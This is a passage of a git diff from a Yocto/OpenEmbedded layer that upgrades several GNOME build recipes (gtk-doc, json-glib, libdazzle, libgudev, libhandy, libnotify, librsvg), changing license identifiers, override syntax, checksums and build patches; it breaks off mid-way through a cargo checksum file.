- from glib-based software and produce a set of html documentation files from them"
-HOMEPAGE = "http://www.gtk.org/gtk-doc/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-inherit gnomebase
-
-# Configure the scripts correctly (and build their dependencies) only if they are actually
-# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
-PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
-
-# This will cause target gtk-doc to hardcode paths of native dependencies
-# into its scripts. This means that target gtk-doc package is broken;
-# hopefully no one minds because its scripts are not used for anything during build
-# and shouldn't be used on targets.
-PACKAGECONFIG[working-scripts] = ",,libxslt-native xmlto-native python3-six python3-pygments"
-PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
-
-SRC_URI[archive.md5sum] = "07764836262e154e94922e5f2aa476ae"
-SRC_URI[archive.sha256sum] = "de0ef034fb17cb21ab0c635ec730d19746bce52984a6706e7bbec6fb5e0b907c"
-SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
- file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
- file://conditionaltests.patch \
- file://no-clobber.patch \
- "
-SRC_URI_append_class-native = " file://pkg-config-native.patch"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Do not check for XML catalogs when building because that
-# information is not used for anything during build. Recipe
-# dependencies make sure we have all the right bits.
-do_configure_prepend() {
- sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
-}
-
-FILES_${PN} += "${datadir}/sgml"
-FILES_${PN}-dev += "${libdir}/cmake"
-FILES_${PN}-doc = ""
-
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " gtkdoc_makefiles_sysroot_preprocess"
-gtkdoc_makefiles_sysroot_preprocess() {
- # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
- # instead of libtool wrapper or running them directly
- sed -i \
- -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
- ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
-}
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
new file mode 100644
index 0000000000..150d2c0b23
--- /dev/null
+++ b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Documentation generator for glib-based software"
+DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
+ from glib-based software and produce a set of html documentation files from them"
+HOMEPAGE = "https://www.gtk.org/docs/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+inherit gnomebase
+
+# Configure the scripts correctly (and build their dependencies) only if they are actually
+# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
+PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
+
+# This will cause target gtk-doc to hardcode paths of native dependencies
+# into its scripts. This means that target gtk-doc package is broken;
+# hopefully no one minds because its scripts are not used for anything during build
+# and shouldn't be used on targets.
+PACKAGECONFIG[working-scripts] = ",,libxslt-native xmlto-native python3-six python3-pygments"
+PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
+
+SRC_URI[archive.sha256sum] = "cc1b709a20eb030a278a1f9842a362e00402b7f834ae1df4c1998a723152bf43"
+SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
+ file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
+ file://conditionaltests.patch \
+ file://no-clobber.patch \
+ "
+SRC_URI:append:class-native = " file://pkg-config-native.patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Do not check for XML catalogs when building because that
+# information is not used for anything during build. Recipe
+# dependencies make sure we have all the right bits.
+do_configure:prepend() {
+ sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
+}
+
+do_install:append () {
+ # configure values for python3 and pkg-config encoded in scripts
+ for fn in ${bindir}/gtkdoc-depscan \
+ ${bindir}/gtkdoc-mkhtml2 \
+ ${datadir}/gtk-doc/python/gtkdoc/config_data.py \
+ ${datadir}/gtk-doc/python/gtkdoc/config.py; do
+ sed -e 's,${RECIPE_SYSROOT_NATIVE}/usr/bin/pkg-config,${bindir}/pkg-config,' \
+ -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
+ -i ${D}$fn
+ done
+}
+
+FILES:${PN} += "${datadir}/sgml"
+FILES:${PN}-doc = ""
+
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " gtkdoc_makefiles_sysroot_preprocess"
+gtkdoc_makefiles_sysroot_preprocess() {
+ # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
+ # instead of libtool wrapper or running them directly
+ sed -i \
+ -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
+ ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
+}
diff --git a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
index aad7eff25f..bb6cb000ab 100644
--- a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
+++ b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
@@ -4,15 +4,15 @@ theme for implementations of the icon theme specification."
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/icon-theme"
BUGTRACKER = "https://bugs.freedesktop.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=f08a446809913fc9b3c718f0eaea0426"
-SRC_URI = "http://icon-theme.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI = "https://icon-theme.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
SRC_URI[md5sum] = "84eec8d6f810240a069c731f1870b474"
SRC_URI[sha256sum] = "317484352271d18cbbcfac3868eab798d67fff1b8402e740baa6ff41d588a9d8"
inherit allarch autotools
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb b/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb
deleted file mode 100644
index 5143d73ed7..0000000000
--- a/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
-DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
- data structures, using a DOM-like API. JSON-GLib also offers GObject \
-integration, providing the ability to serialize and deserialize GObject \
-instances to and from JSON data types."
-HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase lib_package gobject-introspection gtk-doc gettext ptest-gnome manpages
-
-SRC_URI += "file://run-ptest"
-SRC_URI[archive.md5sum] = "4d4bb9837f6d31e32d0ce658ae135f68"
-SRC_URI[archive.sha256sum] = "720c5f4379513dc11fd97dc75336eb0c0d3338c53128044d9fabec4374f4bc47"
-
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
-
-do_install_append() {
- if ! ${@bb.utils.contains('PTEST_ENABLED', '1', 'true', 'false', d)}; then
- rm -rf ${D}${datadir}/installed-tests ${D}${libexecdir}
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Currently it's not possible to disable gettext in Meson, so we need to force
-# this back on.
-USE_NLS_class-native = "yes"
diff --git a/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb b/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
new file mode 100644
index 0000000000..627f389536
--- /dev/null
+++ b/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
@@ -0,0 +1,32 @@
+SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
+DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
+ data structures, using a DOM-like API. JSON-GLib also offers GObject \
+integration, providing the ability to serialize and deserialize GObject \
+instances to and from JSON data types."
+HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+DEPENDS = "glib-2.0"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase lib_package gobject-introspection gi-docgen gettext ptest-gnome manpages upstream-version-is-even
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GIDOCGEN_MESON_ENABLE_FLAG = 'enabled'
+GIDOCGEN_MESON_DISABLE_FLAG = 'disabled'
+
+SRC_URI += " file://run-ptest"
+SRC_URI[archive.sha256sum] = "96ec98be7a91f6dde33636720e3da2ff6ecbb90e76ccaa49497f31a6855a490e"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Currently it's not possible to disable gettext in Meson, so we need to force
+# this back on.
+USE_NLS:class-native = "yes"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.34.1.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.34.1.bb
deleted file mode 100644
index e2973905f8..0000000000
--- a/meta/recipes-gnome/libdazzle/libdazzle_3.34.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
-DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
-GTK+, an animation framework, state machines, paneling and high-performance \
-counters are included."
-LICENSE = "GPLv3+"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase upstream-version-is-even vala distro_features_check gobject-introspection
-
-DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
-
-SRC_URI[archive.md5sum] = "e796a92dd3f529616ed388c15208359b"
-SRC_URI[archive.sha256sum] = "3d981cbb9d9bb87bfaff7bfd44d9847223b3ef81e69225e4d1f6ac725a669505"
-
-GIR_MESON_OPTION = 'with_introspection'
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb
new file mode 100644
index 0000000000..a10acc6ada
--- /dev/null
+++ b/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
+DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
+GTK+, an animation framework, state machines, paneling and high-performance \
+counters are included."
+LICENSE = "GPL-3.0-or-later"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
+
+DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
+
+SRC_URI[archive.sha256sum] = "eae67a3b3d9cce408ee9ec0ab6adecb83e52eb53f9bc93713f4df1e84da16925"
+
+GIR_MESON_OPTION = 'with_introspection'
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libgudev/libgudev_233.bb b/meta/recipes-gnome/libgudev/libgudev_233.bb
deleted file mode 100644
index 8bc379ff62..0000000000
--- a/meta/recipes-gnome/libgudev/libgudev_233.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "GObject wrapper for libudev"
-DESCRIPTION = "This library makes it much simpler to use libudev from programs \
-already using GObject. It also makes it possible to easily use libudev from \
-other programming languages, such as Javascript, because of GObject \
-introspection support."
-HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
-SRC_URI[archive.sha256sum] = "587c4970eb23f4e2deee2cb1fb7838c94a78c578f41ce12cac0a3f4a80dabb03"
-SRC_URI[archive.md5sum] = "d59a317a40aaa02a2226056c0bb4d3e1"
-
-DEPENDS = "glib-2.0 udev"
-
-EXTRA_OECONF = "--disable-umockdev"
-
-RCONFLICTS_${PN} = "systemd (<= 220)"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-inherit gnomebase gobject-introspection gtk-doc
-
-UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
diff --git a/meta/recipes-gnome/libgudev/libgudev_237.bb b/meta/recipes-gnome/libgudev/libgudev_237.bb
new file mode 100644
index 0000000000..9ce43ce34b
--- /dev/null
+++ b/meta/recipes-gnome/libgudev/libgudev_237.bb
@@ -0,0 +1,31 @@
+SUMMARY = "GObject wrapper for libudev"
+DESCRIPTION = "This library makes it much simpler to use libudev from programs \
+already using GObject. It also makes it possible to easily use libudev from \
+other programming languages, such as Javascript, because of GObject \
+introspection support."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
+SRC_URI[archive.sha256sum] = "0d06b21170d20c93e4f0534dbb9b0a8b4f1119ffb00b4031aaeb5b9148b686aa"
+
+DEPENDS = "glib-2.0 udev"
+
+RCONFLICTS:${PN} = "systemd (<= 220)"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gobject-introspection gtk-doc
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
+
+# This isn't a GNOME-style version do gnome_verdir fails. Just return the
+# version as that is how the directory is structured.
+def gnome_verdir(v):
+ return v
diff --git a/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch b/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch
new file mode 100644
index 0000000000..7b2a512738
--- /dev/null
+++ b/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch
@@ -0,0 +1,37 @@
+From e7c3e8fa00f6a68b2e0629db5ee115e641ea710e Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 8 Dec 2021 07:35:52 +0000
+Subject: [PATCH] Add private headers
+
+After the commit(8157ecc Separate public and private enums) introduced,
+there comes a race as below:
+ | In file included from ../git/src/hdy-settings.c:11:
+ | ../git/src/hdy-settings-private.h:16:10: fatal error: hdy-enums-private.h: No such file or directory
+ | 16 | #include "hdy-enums-private.h"
+
+So also add private headers like private sources to libhandy_sources to
+fix the issue.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libhandy/-/merge_requests/796]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/meson.build b/src/meson.build
+index d087323..6f11f27 100644
+--- a/src/meson.build
++++ b/src/meson.build
+@@ -64,7 +64,7 @@ hdy_private_enums = gnome.mkenums('hdy-enums-private',
+ )
+
+ libhandy_public_sources += [hdy_public_enums[0]]
+-libhandy_private_sources += [hdy_private_enums[0]]
++libhandy_private_sources += hdy_private_enums
+ libhandy_generated_headers += [hdy_public_enums[1]]
+
+ src_headers = [
+--
+2.32.0
+
diff --git a/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb b/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb
new file mode 100644
index 0000000000..722593dfb1
--- /dev/null
+++ b/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb
@@ -0,0 +1,30 @@
+SUMMARY = "A library full of GTK+ widgets for mobile phones"
+DESCRIPTION = "Library with GTK widgets for mobile phones. Libhandy provides \
+GTK widgets and GObjects to ease developing applications for mobile phones. \
+It was developed by Purism (and used by several official GNOME projects) \
+to extend Gtk by providing mobile-friendly widgets and make the creation of \
+responsive apps easier."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libhandy"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libhandy/-/issues"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/libhandy.git;protocol=https;branch=master \
+ file://0001-Add-private-headers.patch \
+"
+SRCREV = "8fa8306a79215fc6ebf2483145da98bf9b2495ab"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+))"
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+inherit meson gobject-introspection vala gettext gtk-doc features_check
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS += "gtk+3"
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples = "${bindir}"
diff --git a/meta/recipes-gnome/libnotify/libnotify_0.7.8.bb b/meta/recipes-gnome/libnotify/libnotify_0.7.8.bb
deleted file mode 100644
index f4cda7bc74..0000000000
--- a/meta/recipes-gnome/libnotify/libnotify_0.7.8.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Library for sending desktop notifications to a notification daemon"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/libnotify"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libnotify/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-DEPENDS = "dbus gtk+3 glib-2.0"
-
-inherit gnomebase gtk-doc distro_features_check gobject-introspection
-# depends on gtk+3
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-SRC_URI[archive.md5sum] = "babb4b07b5f21bef42a386d3d7019599"
-SRC_URI[archive.sha256sum] = "69209e0b663776a00c7b6c0e560302a8dbf66b2551d55616304f240bba66e18c"
-
-# there were times, we had two versions of libnotify (oe-core libnotify:0.6.x /
-# meta-gnome libnotify3: 0.7.x)
-PROVIDES += "libnotify3"
-RPROVIDES_${PN} += "libnotify3"
-RCONFLICTS_${PN} += "libnotify3"
-RREPLACES_${PN} += "libnotify3"
diff --git a/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb b/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
new file mode 100644
index 0000000000..fa3253b616
--- /dev/null
+++ b/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Library for sending desktop notifications to a notification daemon"
+DESCRIPTION = "It sends desktop notifications to a notification daemon, as defined \
+in the Desktop Notifications spec. These notifications can be used to inform \
+the user about an event or display some form of information without getting \
+in the user's way."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libnotify"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libnotify/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+DEPENDS = "dbus glib-2.0 gdk-pixbuf"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,gtk+3"
+
+GNOMEBASEBUILDCLASS = "meson"
+GTKDOC_MESON_OPTION = "gtk_doc"
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+inherit gnomebase gtk-doc features_check gobject-introspection
+# depends on gtk+3 if tests are enabled
+ANY_OF_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG', 'tests', '${GTK3DISTROFEATURES}', '', d)}"
+
+SRC_URI[archive.md5sum] = "ccd9c53364174cc8d13e18a1988faa76"
+SRC_URI[archive.sha256sum] = "66c0517ed16df7af258e83208faaf5069727dfd66995c4bbc51c16954d674761"
+
+EXTRA_OEMESON = "-Dman=false"
+
+# there were times, we had two versions of libnotify (oe-core libnotify:0.6.x /
+# meta-gnome libnotify3: 0.7.x)
+PROVIDES += "libnotify3"
+RPROVIDES:${PN} += "libnotify3"
+RCONFLICTS:${PN} += "libnotify3"
+RREPLACES:${PN} += "libnotify3"
+
+# -7381 is specific to the NodeJS bindings
+CVE_CHECK_IGNORE += "CVE-2013-7381"
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
deleted file mode 100644
index 954bb60880..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b99891e31eb6ce550e7e1cb2ca592095b3050a93 Mon Sep 17 00:00:00 2001
-From: Brion Vibber <brion@pobox.com>
-Date: Sun, 25 Feb 2018 18:42:36 -0800
-Subject: Auto-detect -Bsymbolic, fixes configure on macOS
-
-The -Bsymbolic linker option is ELF-specific, and was breaking
-configure on macOS unless --disable-Bsymbolic was explicitly passed.
-
-Switching the behavior from requiring -Bsymbolic to be available
-by default to just warning and continuing on without.
-
-Fixes https://gitlab.gnome.org/GNOME/librsvg/issues/211
-
-Upstream-Status: Backport
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 15b26b2d..9f8dce29 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -216,7 +216,7 @@ AM_CONDITIONAL([ENABLE_PIXBUF_LOADER],[test "$enable_pixbuf_loader" = "yes"])
- AC_ARG_ENABLE([Bsymbolic],
- [AS_HELP_STRING([--disable-Bsymbolic],
- [disable linking with -Bsymbolic])],
-- [],[enable_Bsymbolic=yes])
-+ [enable_Bsymbolic=no],[enable_Bsymbolic=auto])
-
- BSYMBOLIC_LDFLAG=
- if test "$enable_Bsymbolic" != "no"; then
---
-2.20.1
-
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
new file mode 100644
index 0000000000..d7487c234c
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
@@ -0,0 +1,47 @@
+From 95b2cd0169cb1b4694c2bce67169b1aa1d5e2be0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 21 Sep 2021 16:27:14 +0200
+Subject: [PATCH] Makefile.am: pass rust target to cargo also when not cross
+ compiling
+
+Otherwise oe-core's native build doesn't work either.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Makefile.am | 2 --
+ configure.ac | 4 +---
+ 2 files changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index e93714e..effe5d3 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -137,9 +137,7 @@ else
+ CARGO_RELEASE_ARGS=--release
+ endif
+
+-if CROSS_COMPILING
+ CARGO_TARGET_ARGS=--target=$(RUST_TARGET)
+-endif
+
+ CARGO_VERBOSE = $(cargo_verbose_$(V))
+ cargo_verbose_ = $(cargo_verbose_$(AM_DEFAULT_VERBOSITY))
+diff --git a/configure.ac b/configure.ac
+index 41590ca..84cd56b 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -255,9 +255,7 @@ AC_ARG_VAR(RUST_TARGET, [Set rust target (default=$host)])
+ : ${RUST_TARGET:=$host}
+
+ AM_CONDITIONAL([CROSS_COMPILING], [test "x$cross_compiling" = xyes])
+-AS_IF([test "x$cross_compiling" = "xyes"], [
+- RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+-])
++RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+ AC_SUBST([RUST_TARGET_SUBDIR])
+
+ dnl ===========================================================================
+--
+2.20.1
+
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch b/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch
new file mode 100644
index 0000000000..992ff8dee7
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch
@@ -0,0 +1,51 @@
+From c0b0ef51b3c997a1c20ef9381ba2201ed477f609 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 21 Sep 2021 16:54:23 +0200
+Subject: [PATCH] system-deps/src/lib.rs: do not probe into harcoded list of
+ targets
+
+Oe-core defines custom targets, and this probe fails.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ vendor/system-deps/.cargo-checksum.json | 2 +-
+ vendor/system-deps/src/lib.rs | 16 +---------------
+ 2 files changed, 2 insertions(+), 16 deletions(-)
+
+diff --git a/vendor/system-deps/.cargo-checksum.json b/vendor/system-deps/.cargo-checksum.json
+index 862df8b..931748e 100644
+--- a/vendor/system-deps/.cargo-checksum.json
++++ b/vendor/system-deps/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"Cargo.toml":"927df7476ebf5f5983169cfd973f4c95b84da17caeb20d33cccf50e326af5316","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae","src/lib.rs":"c38fd96ca3233ebee3bb7e37ca8f8a7a2685cdd7fcccf0210eaa879aa91dc684","src/metadata.rs":"657bc1b77e949e4800f9dd808790ffa535820e1658d412121a1da548e0cdd02c","src/test.rs":"9d5f8c1fb7a821352d6ba75cb005ead3e36b4f359e61feb605ab8a36d4fd31f8","src/tests/lib/libteststatic.a":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/teststaticlib.pc":"77df23f6c7c1d47aff18453b47c87e53ec8a96017546e0a55c8c4d1e13b70134","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"a1a45a1c4c9015217e12347f2a411b57ce2c4fc543913b14b6fe40483328e709"}
+\ No newline at end of file
